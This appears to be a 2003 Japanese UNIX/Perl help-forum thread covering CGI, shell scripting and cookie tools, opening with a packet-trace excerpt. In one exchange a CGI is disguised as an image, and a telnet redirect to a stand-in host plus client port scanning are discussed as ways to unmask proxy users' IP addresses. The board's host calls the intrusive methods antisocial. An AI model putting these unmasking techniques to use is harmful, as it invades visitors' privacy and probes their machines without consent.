    0.350609 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302087469 Win=56560 Len=0
    0.351108 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.351146 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302088699 Win=56745 Len=0
    0.352602 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.354088 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.354145 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [ACK] Seq=830980700 Ack=1395071886 Win=56080 Len=0
    0.354811 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.354939 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [ACK] Seq=830980700 Ack=1395073288 Win=57482 Len=0
    0.356410 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.358002 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.358059 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [ACK] Seq=830980700 Ack=1395076092 Win=54678 Len=0
    0.360242 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [ACK] Seq=830980700 Ack=1395076092 Win=57482 Len=0
    0.399452 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.400187 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.400233 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [ACK] Seq=830980700 Ack=1395078896 Win=56080 Len=0
    0.400937 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.401824 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [ACK] Seq=830980700 Ack=1395080298 Win=57482 Len=0
    0.402549 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.404149 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.404191 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [ACK] Seq=830980700 Ack=1395083102 Win=54678 Len=0
    0.404891 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.406482 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.406498 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [ACK] Seq=830980700 Ack=1395085906 Win=51874 Len=0
    0.407229 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.413462 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [ACK] Seq=830980700 Ack=1395087308 Win=54568 Len=0
    0.425540 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [ACK] Seq=830980700 Ack=1395087308 Win=57482 Len=0
    0.448696 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.449436 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.449485 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [ACK] Seq=830980700 Ack=1395090112 Win=56080 Len=0
    0.450211 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.450826 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [ACK] Seq=830980700 Ack=1395091514 Win=57482 Len=0
    0.451828 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.453227 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.453277 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [ACK] Seq=830980700 Ack=1395093266 Win=55731 Len=0
    0.486867 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [FIN, ACK] Seq=830980700 Ack=1395093266 Win=57482 Len=0
    0.486941 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [FIN, ACK] Seq=286646392 Ack=2302088699 Win=57974 Len=0
    0.498176 210.173.168.48 -> 192.168.1.11 TCP 80 > 1517 [ACK] Seq=2302088699 Ack=286646393 Win=33229 Len=0
    0.536535 203.141.35.113 -> 192.168.1.11 TCP 80 > 1516 [ACK] Seq=1395093266 Ack=830980701 Win=32947 Len=0


# www.goo.ne.jp (210.150.25.37)
# www.yahoo.co.jp (203.141.35.113)
# www.asahi.com (210.173.168.48)

# FreeBSD 4.9-RELEASE + Perl 5.005_03

No. 3426 # 68user 2003/11/26 (水) 09:28:23
>>3425 68user
> なぜだろう。
あーそうか。$sock がどこからも参照されなくなったので、
perl がガベージコレクトして、デストラクタが close して
いるんですね。

No. 3427 # Mule 2003/12/01 (月) 23:34:08
こんにちは。
初めて書き込みいたします。
私は、CGIの使えないサイトで、ちょっとしたプロフのページを管理しています。
このサイトでは、自作CGIは一切使えず、既成のCGIを使うしかないのですが、最近、BBSのほうにおかしな書き込みが増えて困っています。
そこで、アクセス元のログを取ろうと考えまして、自作CGIを書きましたがここで問題が生じました。
おわかりかと思いますが、自作CGIを直接設置できないことが問題です。

ただ、このサイトでは、外部から一枚だけ、画像をリンクして表示できるんですね。

そこで、画像の参照元である手持ちのサーバの.htaccessをいじり、
画像がCGIとして機能するように設定しました。
それで、このCGIファイルを画像のように偽装してサイトにアップロードしました。
これによって、外部CGIを呼び出してログを保存することが出来ましたが、私の考えで言えば、いまどき、

print map {"$_ = $ENV{$_}"} keys %ENV;

で表示されるデータなど、あまりあてにはできない...
できれば、もっと確実なところで、匿名Proxy経由であれば、telnetを起動して接続元をファイルに保存、などの手法をとりたいのです。

ところが、画像のトリガーを使った方式ではこれが上手くいきません。
ヘッダの出し方に問題があるはずですが、なんとかならないものでしょうか?

パワーユーザーの皆様、良い知恵がございましたらご教授ください。
宜しくお願いいたします<m(__)m>

No. 3428 # perler 2003/12/01 (月) 23:42:05
はじめまして^^
ネットワーク関連のプログラムいつも参考にさせていただいております。
今回ちょっとおききしたいことがありまして書き込ませていただきます。
内容がこちらのページの趣旨と離れて申し訳ないのですが、
お返事いただければ幸いです。

いきなり本題にはいらせていただきます。

<a href="$ENV{'SCRIPT_NAME'}?para=data">
としてリンクを作成して、その先のページで
<form action="$ENV{'SCRIPT_NAME'}?para2=data2" method='POST'>
とします。
このときフォームデータの取り込みのハッシュを%FORMとしたとき
2つめの$FORM{'para2'}が存在しません。

これがなぜおこるのかさっぱりわかりません。
またメソッドをGETでも試しましたがダメでした。
ただし、出力先のURLにはhttp://***.cgi?para2=data2と表示されます。でもprint文では表示されないのです。
原因がわかれば教えていただけないでしょうか?

ちなみにperl5でapache1.3.14仕様です。
よろしくおねがいします;;

No. 3429 # 68user 2003/12/02 (火) 12:32:36
>>3427 Mule
試してませんが、画像側で
      Location: telnet://example.com:1234
ではダメですか? (ダメなような気もしますが)

掲示板側では img src でしか外部リソースを呼び出せない、
という条件のもとでは、これ以外の方法は思いつきません
でした。

>>3428 perler
誰かが環境変数 %ENV を解析し、その結果を %FORM に
セットしなければならないわけですが、その部分はどこが
担当していますか? (CGI モジュールですか?)

No. 3430 # Mule 2003/12/02 (火) 19:52:37
>>3429 68user

ご返事ありがとうございます。

Locationは私も考えましたが、その方法は無理でした。
しかし、コマンドで上手く行きそうです。
現在、実験中ですので、詳細はまたご報告いたします。
とりあえず、今日はご報告まで。

お忙しい中、返事をいただきましてありがとうございました。

No. 3431 # 68user 2003/12/03 (水) 00:17:26
>>3430 Mule
できそうですか。ぜひ結果を教えてください。

No. 3432 # 初心者 2003/12/03 (水) 10:06:09
初歩的な質問で、申し訳ないのですが、教えていただけると助かります。
  
Bシェルでは、
if [$a = $b]
then
echo "ok!"
fi
  
などと、if文の中で、変数同士の値を比較してイコールならば、とかけますが、
  
Cシェルでは出来ないのでしょうか?

No. 3433 # csh 2003/12/03 (水) 11:32:05
通りすがりですが、

#!/bin/csh

set a = 2;
set b = 2;

if(a == b) then
        echo "a = b"
else if(a < b) then
        echo "a < b"
else
        echo "a > b"
endif

で良かったと思います。

No. 3434 # 初心者 2003/12/03 (水) 15:34:16
cshさん書き込みありがとうございます

実は、変数には、どの値が入ってくるか、分からないのです。
例えば、
ps -o user,pid,ppid,comm -A | grep -i $1 | grep -v grep > lis.txt
set cmd1=(`awk '{print $2}' lis.txt`)
set cmd2=(`awk '{print $3}' lis.txt`)
@ cnt1=0
@ cnt2=0
foreach pid1 ( $cmd1 )
    @ cnt1++
    foreach ppid1 ( $cmd2 )
    @ cnt2++
    if ( $pid1 と$ppid1に入った値がイコールならば ) then
echo 'zero!!'
            echo $pid1 $ppid1 >> procs1.txt
.......

                    end
end


。。。。。。みたいに。その、かっこの中を、どう書いてもエラーが出るんです。基本的なミスなのか、それともcでは出来ないのか、、、分からなくて。
if ($a==1) thenはOKでも、($a==$b)、はだめでした。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3435 # 初心者 2003/12/03 (水) 15:35:15
あ、すみません。。。。半角カナ。

No. 3436 # 通りすがり 2003/12/03 (水) 16:06:26
>>3434 初心者
HP-UX11.0の環境で確認しましたが「==」で問題無く一致を検知できました。
「==」の前後に空白が無いと上記OSでは文法上のエラーになりました。
ご参考になれば。

No. 3437 # perler 2003/12/03 (水) 17:13:59
>3429
お早いお返事ありがとうございました。
質問の答えなのですが、同プログラム内で%FORMによみこんでおります。

sub func
{
my($query,$pair);

if($ENV{'REQUEST_METHOD'} eq 'POST'){
          read(STDIN,$query,$ENV{'CONTENT_LENGTH'};
}else{$query=$ENV{'QUERY_STRING'};}

foreach $pair (split/&/,$query){
          ($key,$value)=split(/=/,$pair);

#デコード処理

          $FORM{$key}=$value;
}

このサブルーチンで処理させております。

ちなみにただのメールフォームではなにも問題なく動作します。

No. 3438 # 超初心者 2003/12/03 (水) 17:45:24
BSD UNIX 類のどれか欲しいんですけどお勧めはありますか?

No. 3439 # 68user 2003/12/03 (水) 18:44:01
>>3437 perler
> <form action="$ENV{'SCRIPT_NAME'}?para2=data2" method='POST'>
という書き方をした場合、メソッドは POST ですが para2=data2 は
環境変数 QUERY_STRING 経由で渡されます。よって、
      POST なら標準入力から読む
というやり方では、QUERY_STRING からの入力は無視されてしまいます。

>>3438 超初心者
初心者ということであれば、FreeBSD 4.9-RELEASE がお勧めです。
      http://www.h4.dion.ne.jp/~katsuwo/index.html

No. 3440 # zsh 2003/12/03 (水) 19:08:10
>>3434 初心者
シェルの一行目を
#/bin/csh -x
に変更して再実行すれば
実際に変数に何が入ってくるか確認できますよ。

No. 3441 # 初心者 2003/12/04 (木) 10:15:13
No. 3436 の通りすがりさん、No. 3440 zshさん、 書き込みありがとうございます
  私の環境が違うのかも知れません。下記のように表示されてるので。
Digital UNIX V4.0B (Rev. 564
Digital UNIX Japanese Support V4.0A (rev. 3.1)


で、やっぱりおっしゃるとおり実行したのだけど、だめなんです。
if ( $a == $b )
の、右辺の変数名が、分かりません、とかそう言うエラーが出るので、

結局
@ df=$a - $b
if ($df == 0 )
で、何とかうまくいきました。

ありがとうございました。

No. 3442 # Mule 2003/12/04 (木) 16:54:25
>>3431 68user

こんにちは、Muleです。
すみません、コマンドでtelnet起動、失敗しました(^^;
これが出来たら、結構使えるスクリプトになるかもと思っていたのですが、やはり無理がありますかね...

コード全体の流れとしては、
プロキシのチェックルーチンをよび、flagが立っていればif分岐、という典型的な処理です。

if($flag){

#telnetを起動し、接続元をファイルに記録する処理

}
else{
my $img = 'file.gif';
my $byte = (stat $img)[7];

print "Content-Type: image/gif\n";
print "Content-Length: $byte\n\n";

open IMG,$img;
binmode((binmode(IMG),$|=1)[0]);

print map {$_} <IMG>;

close IMG;

}

やはり、イメージで呼び出すという方式では、FTPで、というのが、現実的でしょうか?

socketと組み合わせれば、なんとかなりそうな気がしていろいろ試してみましたが...上手く行かないものですね。

No. 3443 # 68user 2003/12/04 (木) 19:08:33
>>3442 Mule
わたしは
      http は proxy 経由かもしれないが、ftp や telnet は
      proxy 経由でないことを期待して、クライアント側から
      ftp や telnet でサーバに接続させるように仕向けて、
      IP アドレスを取得する
と思っていたのですが、そうではないようですね。

> コード全体の流れとしては、プロキシのチェックルーチンをよび、
> flagが立っていればif分岐、という典型的な処理です。
「proxy のチェック」というのは公開 proxy サーバかどうかを
調べるため、クライアントの IP アドレスに接続してみる、という
ことですよね。

telnet で接続、というのは
      http://x68000.startshop.co.jp/~68user/unix/pickup?sleep
てな方法でできます。もちろん代わりに Socket を使ってもいいです。
方法はともかく、公開 proxy かどうかの判断はやろうと思えばできます。

で、なぜ
      if($flag){
            #telnetを起動し、接続元をファイルに記録する処理
      }
と proxy チェックルーチンを呼んだ後 ($flag が確定した後) に
もう一度 telnet を実行する必要があるのでしょうか?

      #telnet を起動し、クライアントの IP アドレスに接続。
      #接続できたら $flag=1;

      if($flag){
            #接続元をファイルに記録する処理
            open(LOG, ">log");
            print LOG "$ENV{REMOTE_ADDR} is open proxy\n";
            close(LOG);
      }

とすればよいのではないですか?

No. 3444 # perler 2003/12/04 (木) 20:09:43
>>3439 68user
お返事ありがとうございました。
なるほど、それがperlの仕様なんですね^^
原因がわかりました。

実は
<form action="$ENV{'SCRIPT_NAME'}?para2=data2 method='POST'>
<input type="hidden" name="mode" value="res">
<input type="submit" value="返信">
</form>
とやっていたためPOSTとGETが混在してしまっていたようでした。
この形ではPOSTをGETにかえても成功しませんでした。

管理人さんの助言でこれに気づくことができました。
どうもありがとうございました。

結果だけお伝えしておきます。

method='POST'の場合
          http://xxx.cgi?para2=data2となりmode=resがおくられない。

method='GET'の場合
          http://xxx.cgi?mode=resとなりpara2=data2がおくられない。
でした。

No. 3445 # 68user 2003/12/04 (木) 20:48:29
>>3444 perler
> なるほど、それがperlの仕様なんですね^^
perl とは関係ないです。これは HTML と CGI の領域です。

apache-1.3.29・IE6・Mozilla-1.5 で試した結果、
> method='GET'の場合
> http://xxx.cgi?mode=resとなりpara2=data2がおくられない。
これは正しいです。正確に言うと
    「ブラウザが para2=data2 を送らない」
です。

> method='POST'の場合
> http://xxx.cgi?para2=data2となりmode=resがおくられない。
これは間違いです。標準入力を解析していないだけ、でしょう。


以下の CGI スクリプトを実行し、GET と POST それぞれで
QUERY_STRING と標準入力にどういう値が入っているか確認
してください。

-------
#!/usr/local/bin/perl

print "Content-type: text/html\n\n";

$script_name = $0;
$script_name =~ s|.*/||;

print <<END;
<html><body>
<form action="$script_name?para2=data2" method='GET'>
<input type="hidden" name="mode" value="res">
<input type="submit" value="GET">
</form>
<form action="$script_name?para2=data2" method='POST'>
<input type="hidden" name="mode" value="res">
<input type="submit" value="POST">
</form>
END

print "REQUEST_METHOD=$ENV{REQUEST_METHOD}<br>\n";
print "QUERY_STRING=$ENV{QUERY_STRING}<br>\n";
print "STDIN=\n";
print <STDIN>;

No. 3446 # perler 2003/12/05 (金) 00:22:19
>>3445 68user
お返事ありがとうございました。

なるほど、標準入力を解析しないということがわかりました。
パラメーターを指定しているのにPOSTをつかったのがいけなかったようですね。

またGETをつかってもパラメーターを送らないので素直に違う方法を考えます。

ご教授ありがとうございました。

No. 3447 # Mule 2003/12/05 (金) 16:43:47
>>3443 68user

こんにちは、Muleです。
ご返事、ありがとうございます。

中途半端なコードを書いたせいか、誤解があったようですが、わたしも68user様が言われた、
    
>http は proxy 経由かもしれないが、ftp や telnet は
>proxy 経由でないことを期待して、クライアント側から
>ftp や telnet でサーバに接続させるように仕向けて、
>IP アドレスを取得する

という、まさにそのことを考えております。

proxyのルーチンは、proxy経由かどうかを最初にチェックする為のもので、
httpからのアクセスがproxy経由でなければ、画像を出力し普通に接続元を記録する。
そうでなければ、クライアント側からtelnetでサーバに接続させて、接続元を記録する、という流れです。
FTPと書いたのは、わたしのほうで、FTPを用意し、CGIから出力する画像の参照元に、FTPサーバにある画像を指定して出力させれば、FTPのログに元の接続先が残るのではないかと思うからです。

考え方として、何か大きな間違いをおかしているでしょうか?
ご指摘いただければ、幸いです。

No. 3448 # 68user 2003/12/05 (金) 22:43:43
>>3447 Mule
> そうでなければ、クライアント側からtelnetでサーバに接続させて、
> 接続元を記録する、という流れです。
なるほど。つまり、
>>3442 Mule
のサンプルは、
      接続元 IP アドレスに接続 [*1]
      if ( 接続成功 ){
          クライアント側が telnet でサーバに接続してくるような
          出力を行なう (例えば Location とか)。[*2]
      } else {
          画像を表示
      }
ということですね? もしそうなら納得です。

ただ、*1 の部分は可能ですが、*2 の部分はよほどセキュリティが
甘いブラウザでないと無理なのではないか、と思います。

No. 3449 # Mule 2003/12/06 (土) 00:11:10
>>3448 68user

さっそくのご返事、感謝いたします。

私が考えているのは、68user様のひながたに沿って考えると、最初にtelnetを起動するというのではないです。

たとえば、こんな感じになると思います。

            
            use CGI qw(:standard);
            
            $addr = remote_addr;
            $host = remote_host;
            $host = gethostbyaddr(pack("C4",split /\./,$addr),2) if($host eq '' || $host eq $addr);

            unless($host){
                    クライアント側が telnet でサーバに接続してくるような
                    出力を行なう (例えば Location とか)。
            } else {
                    画像を表示
            }
です。


素朴に疑問なのですが、最初にtelnetを起動して、接続元に接続できるかどうかの判定を行わなければ、理屈的に無理なのでしょうか?

私は、proxy経由のアクセスがあった時にのみ、if文を実行させたいと思うのですが...

No. 3450 # 68user 2003/12/06 (土) 05:31:08
>>3449 Mule
> $host = gethostbyaddr(pack("C4",split /\./,$addr),2) if($host eq '' || $host eq $addr);
逆引きに成功したら (つまりクライアントが FQDN を持って
いたら) proxy 経由でない、逆引きに失敗したら proxy 経由
という判定方法ですね。

これは proxy 判定にはなっていません。なぜなら技術的には、
      「FQDN を持つかどうかと proxy サーバであるかどうか」
は関係がないからです。

後は統計的に
      「proxy サーバは FQDN を持たないケースが多い」
と言えるかどうかですが、特にそういうこともないと思います。
むしろわたしは
      「proxy サーバは FQDN を持つ可能性が高い」
と思います。

> 素朴に疑問なのですが、最初にtelnetを起動して、接続元に
> 接続できるかどうかの判定を行わなければ、理屈的に無理
> なのでしょうか?
理屈的には、100% の精度の proxy 判定は不可能です。
ただ、完璧でなくていいなら、以下のような策はあります。

    1. proxy 特有のヘッダ、例えば以下のようなものが設定されて
          いるか調べる。
              HTTP_PROXY_CONNECTION
              HTTP_SP_HOST
              HTTP_VIA
              HTTP_X_FORWARDED_FOR

          http://taruo.net/e/ などで判定しているのはコレでしょう。
          http://www2s.biglobe.ne.jp/~cru/library/lq/index.html でも
          同様の判定を行っているようです。

          ただし、proxy サーバの管理者が適切に設定すれば、これらの
          ヘッダを渡さないようにすることは可能です。

    2. クライアント側の適当なポートに接続し、公開 proxy か
          どうか (誰でも接続できる proxy かどうか) 判断する。
          例えば 2ch ではこれをやっているんでしょう。
                http://info.2ch.net/guide/faq.html#F5

          ただし、以下のような欠点があります。
              - どのポート番号に接続するかは適当に決めなければならない。
                  全ポートをポートスキャンしていると時間がかかる。
              - あくまで「公開 proxy」かどうかの判定にしか使えない。
                  (世の中の proxy の大多数を占める) 特定のネットワーク内から
                  のみ使用可能な proxy は判定できない。
              - ポートスキャンは反社会的。やりすぎると相手からクレームを
                  付けられる可能性が高い。

    3. telnet・Java Applet などで直接接続させるよう仕向ける。
          詳しくは以下のサイトをどうぞ。
              http://akademeia.info/main/lecture3/tokubetu_IP_nuki.htm
              http://www.nurs.or.jp/~telnet/tips.html
                「telnetプロトコルによるIP抜き」

          ただしこれも反社会的です。いきなりこれをやられたら、
          わたしならそのサイトには二度と行きません。

普通は 1 でやめておくのがいいでしょう。2・3 は真面目な
ページでやるには過激すぎると思います。

No. 3451 # perler 2003/12/06 (土) 06:03:53
質問ではないんで、邪魔だったら消してくださいね。

過去ログを時間が許すままに読んじゃいました。
とってもおもしろかったです^^
まだまだいっぱい残っているので読破しようとおもいます。

言語はたくさん覚えたけど、UNIXには触ったことがないというある意味
希少なプログラマーなのでちょっとわからないこともあるんですけど、
予想するのが楽しいです。

最近のログをみていると応援の書き込みが少なかったので「管理がんばってください」の意味をこめてかきこませていただきました。
お目汚し失礼いたしました。

No. 3452 # Mule 2003/12/06 (土) 12:05:16
大変、参考になりました。

私がproxyのチェックを行う際には、hostが存在するかどうかの他に、以下のような環境変数を配列に入れて、foreach文や正規表現と組み合わせてチェックしています。

@proxy = ("HTTP_CLIENT_IP",
"HTTP_VIA",
"HTTP_CACHE_INFO",
"HTTP_CACHE_CONTROL",
"HTTP_FORWARDED",
"HTTP_X_FORWARDED_FOR","HTTP_SP_HOST",
"HTTP_TE","HTTP_XONNECTION","HTTP_PROXY_CONNECTION",
"HTTP_XROXY_CONNECTION","HTTP_X_LOCKING",
"HTTP_PRAGMA","HTTP_IF_MODIFIED_SINCE","HTTP_PC_REMOTE_ADDR");

この他に、
$ENV{'HTTP_CONNECTION'}を調べ、値がkeep-alive以外であればproxyと...
しかしこの方法では、精度の高いproxyの判定は、厳しいのではないか...というのが現実でした。

最初から言えばよかったのかも知れませんが...というか、上手く説明できなったのですが、
私がやりたかったことは、結局のところ、
imgタグでしかCGIを起動できない環境で、3 ができるかどうかでした。
コードを直接置ける環境での、3のコードは書いたことがありますので、これをイメージをトリガーにした方法で実装できるかどうかが問題でした。
(telnetの自動起動は、いくらでも未然に防げるものの...)

これまでいろいろご教授いただきまして、ありがとうございました。
また書き込みにくるかもしれませんが、暫くは教えていただいた情報を元に試行錯誤してみます。

それでは、よい休日を。

No. 3453 # あかつき 2003/12/09 (火) 15:03:15
みなさん こんにちは。

すごく簡単な質問だと思うのですが、
過去ログを見てもわからなかったため質問いたします。


UNIXコマンドの
compress a 1>/dev/null 2>&1
というコマンドについて。
compress a は、aファイルをcompress形式で圧縮するということはわかるのですが、
1>/dev/null 2>&1 は、どういう処理をしているのかわかりません。

よろしくお願いします。

No. 3454 # 68user 2003/12/09 (火) 15:47:43
>>3451 perler
ありがとうございます。それなりにがんばります :-)

>>3452 Mule
どうもお互い無駄な時間を浪費したように感じます。掲示板で
円滑なコミュニケーションを行うにあたり、質問時にどの程度の
情報を書くべきかについて ご一考ください。

>>3453 あかつき
compress の出力を全て捨てるということです。

http://x68000.startshop.co.jp/~68user/unix/pickup?%A5%EA%A5%C0%A5%A4%A5%EC%A5%AF%A5%C8
http://x68000.startshop.co.jp/~68user/unix/pickup?%2Fdev%2Fnull

No. 3455 # あかつき 2003/12/10 (水) 16:48:23
ご回答ありがとうございました。

すでにまとめてありましたね。
こんどから、もっときちんと調べます。

No. 3456 # Hide 2003/12/10 (水) 17:45:44
大雑把な質問ですがResetConnect関数はどのように使うものなのですか?

No. 3457 # Hide 2003/12/10 (水) 17:47:30
挨拶が抜けましたが、初めて書き込みます。宜しくお願いいたします

No. 3458 # 68user 2003/12/10 (水) 18:00:47
>>3456 Hide
ResetConnect関数とは何ですか? (google でも 6件しか
引っかからないようですけれども)

No. 3459 # Hide 2003/12/10 (水) 18:51:59
一般的な関数でないのでしょうか?
RST送信するんですが・・

No. 3460 # 68user 2003/12/10 (水) 19:21:15
>>3459 Hide
わたしは初めて聞きました。

No. 3461 # だん 2003/12/11 (木) 00:30:36
Bシェルなのですが、tarで標準出力した結果をteeでファイルに出力し
なおかつ、tarの正常、異常を判断したいのですが、どうすればよい
のですか。
tar -cvf /dev/rmt/0m * 2>&1 | tee -a kekka.txt
と行ったのですが、標準出力及びkekka.txtに出力されたのですが、
$?の値が常に「0」の状態です。
標準出力、ファイルへの出力、$?の判定を行えるよにするにはどう
すればよいのですか。

No. 3462 # 68user 2003/12/11 (木) 09:36:55
>>3461 だん
ちゃんとステータスコードを取れるみたいですよ。
    % true | tee -a kekka.txt; echo $?
    0
    % false | tee -a kekka.txt; echo $?
    255

と思ったら、取れるのは csh・tcsh だけで sh (Solaris2.6)・bash は
無理みたいですね。

sh では
    % true && succeed=OK
    % echo $succeed
    % false || succeed=NG
    % echo $succeed

    % true && echo OK | tee -a kekka.txt
    % false || echo NG | tee -a kekka.txt
はいけるのに、
    % true && succeed=OK | tee -a kekka.txt
    % echo $succeed
    % false || succeed=NG | tee -a kekka.txt
    % echo $succeed
は $succeed に値が入らない。なんでだろう。
# サブシェルで実行されるから?

というわけで、Solaris2.6 の sh では
    % (true; echo $? >result) | tee -a kekka.txt
    % cat result
    % (false; echo $? >result) | tee -a kekka.txt
    % cat result
とステータスコードをファイルに保存するというかっこ悪い方法で
実現できました。より美しいやり方を募集中です。

No. 3463 # has 2003/12/12 (金) 01:36:49
>>3462 68user
俺には美しいやり方なんて無理ですが、ファイルじゃないだけなら
% ( true ; rc = $? ) | tee > kekka.txt
てのは?;-)

No. 3464 # has 2003/12/12 (金) 01:43:19
>>3463 has
ああ、すみません、3462をよく読んでませんでした。
68userの言う、&&とか||の処理詳細と(;)の違いは良く知らないんですが、
redhat 9.0のshでは3463のやり方ができたもので。
一応ご報告まで。

No. 3465 # 68user 2003/12/12 (金) 14:16:35
>>3463 has
それだと (〜) の部分はサブシェルが実行することになります。
サブシェルのシェル変数は確かに $rc=1 になるけれど、親の
シェルのシェル変数には影響しないので、結局 (〜) の外から
$rc を参照することはできないと思います。

ちなみに
    a && b は、a のステータスコードが 0 のときのみ b を実行
    a || b は、a のステータスコードが >0 のときのみ b を実行
です。

No. 3466 # capricio 2003/12/12 (金) 17:51:40
はじめまして.
httptalker をしばらく前から愛用しております.
非常に強力なツールで,Webから必要な情報を取得し目的にあわせて加工するなど
の用途でたいへん助かっているのですが,ひとつ質問をさせてください.

パスワードの認証の後でCookieを受け渡す形式のWebSite のデータをGETする
よい方法は,あるでしょうか?
httptalker のScript の中にCookie のやりとりをする機能を埋め込めばよさそう
ですが,わたしにはかなり難しいのです.

No. 3467 # 68user 2003/12/13 (土) 01:25:30
>>3466 capricio
えーっと、お使いのものはこれですか?
    http://x68000.startshop.co.jp/~68user/net/sample/http-client-2.pl
これは解説用のサンプルなので、実際の使用はおすすめしません。

じゃなくて
    http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/bin/httptalker
これをお使いなら、あまりに汚いコードだったので、さきほど少し
書きなおしました。ついでに追加ヘッダを指定できるようにしました。
        % ./httptalker -GET http://example.com/foo/bar -add-header 'Cookie: a=b'
で cookie を送信できます。
    http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/bin/httptalker?rev=1.3&content-type=text/plain
ここからどうぞ。

ただし、これの使用もおすすめしません。テストもしっかりしていないし、
機能面でも劣るからです。

というわけで、できるならば

    - wget (--load-cookies=ファイル名 で cookie を指定できる)
    - LWP モジュール付属 (libnet モジュール) の GET コマンド。
        オプション -H 'Cookie: a=b' で cookie 送信可能。
    - H_HTTP モジュール (http://www.studyinghttp.net/H_HTTP.html)

などを使った方がよいでしょう。

No. 3468 # zsh 2003/12/13 (土) 22:26:50
>>3462 68user
$ ( true | tee -a kekka.txt ) & ; wait $!

・・・・・やっぱり綺麗じゃないですね。

No. 3469 # zsh 2003/12/13 (土) 22:29:33
すみません徹夜明けでボケてました。
吊って来ます・・・

No. 3470 # くに 2003/12/15 (月) 10:32:40
>>3463 has

俺には美しいやり方なんて無理ですが、ファイルじゃないだけなら
% ( true ; rc = $? ) | tee > kekka.txt
てのは?;-)

私は、HP-UXを使用しているのですが、
% ( true ; rc = $? )
と実行するとシステムのシャットダウンになります。
他のOSも同じだと思うのですが、使用するときは注意した方が
良いと思います。

No. 3471 # 68user 2003/12/15 (月) 13:38:04
>>3470 くに
> % ( true ; rc = $? )
> と実行するとシステムのシャットダウンになります。
/etc に PATH が通っていたため /etc/rc が実行されたのではないかと
思います (引数は = と $?)。

sh の変数代入は = の前後に空白を入れてはいけないので、
rc = $? でなく、rc=$? ですね。

No. 3472 # hanzen 2003/12/15 (月) 16:02:20
lsコマンドについて質問です。
lsと実行するとファイル名やディレクトリ名が表示されますが、
ファイル名だけとかディレクトリ名だけとかを表示させたいの
ですが、できるのでしょうか。
manで調べてみたのですが該当するものもありません。
何かと組み合わせてて1行でできないものでしょうか。

No. 3473 # 68user 2003/12/15 (月) 16:06:28
>>3472 hanzen
> lsと実行するとファイル名やディレクトリ名が表示されますが、
> ファイル名だけとかディレクトリ名だけとかを表示させたいの
> ですが
以下のやりとりを参考にしてください。
>>3245 bebe
>>3246 68user

No. 3474 # has 2003/12/16 (火) 01:44:53
>>3465 68user
すみません、勘違いしてました。
3463 でできたと思っていたら、1行ずつ実行したときにセットした
rcの値が表示されただけでした。

>>3470 くに
それは予想していませんでした。
何にせよ紛らわしいのはよくないですね。
気をつけます。

というわけで何かよい方法はないか探してみましたが、
bashだとこういうのがあるみたいです。
(ただしシェルスクリプト内限定らしいですが)

$ echo $BASH_VERSION
2.05b.0(1)-release
$ cat pipetest.sh
#!/bin/bash
true | false | true | false
echo ${PIPESTATUS[@]}
$ ./pipetest.sh
0 1 0 1

あとはこんなん:-<

cp /dev/null kekka.txt ; tail -f kekka.txt &
pid=$! ; command > kekka.txt ; st=$? ; kill $pid
echo $st

No. 3475 # zsh 2003/12/16 (火) 07:02:54
>>3465 68user
恥の上塗り。

いろいろと試してみましたが、
ファイルを作成せずにステータスは取得できそうにありません。
後は作成するファイルが通常のファイルかFIFOかくらいの違いでしょうか?

------
#!/bin/sh
fifo="fifo.$$"
mkfifo -m 600 $fifo

trap "rm -f $fifo" 0 1 2 3 15
( command ; echo $? >$fifo ) | tee kekka.txt &
rtn=`cat $fifo`
echo $rtn

>>3472 hanzen
>>3473 68user
後は
ls -F | grep '/'
とかでしょうか。表示に/がついてしまいますが。

No. 3476 # 2003/12/17 (水) 11:19:43
UNIXでファイルを開かずにファイルの解析を行いたいのですが、
fileコマンドでは実行ファイルなのかどうかなど、詳しいことが
わかりませんでした。
#C言語関連のソースかどうか確認したいのです。

何か、他にいい方法はないでしょうか?
教えていただけるとありがたいですm(__)m

No. 3477 # tomo 2003/12/17 (水) 15:01:54
こんにちは。
以前、こちらで幾らか質問させて頂いた tomo と申します。
今、perlでタイマ処理をする事を考えているのですが、
perlではC言語の様にタイマIDという形で複数のタイマを
識別管理する事は出来ないのでしょうか?

No. 3478 # 68user 2003/12/19 (金) 00:50:36
>>3476
調べたいのは
> fileコマンドでは実行ファイルなのかどうか

> C言語関連のソースかどうか
のどちらですか?

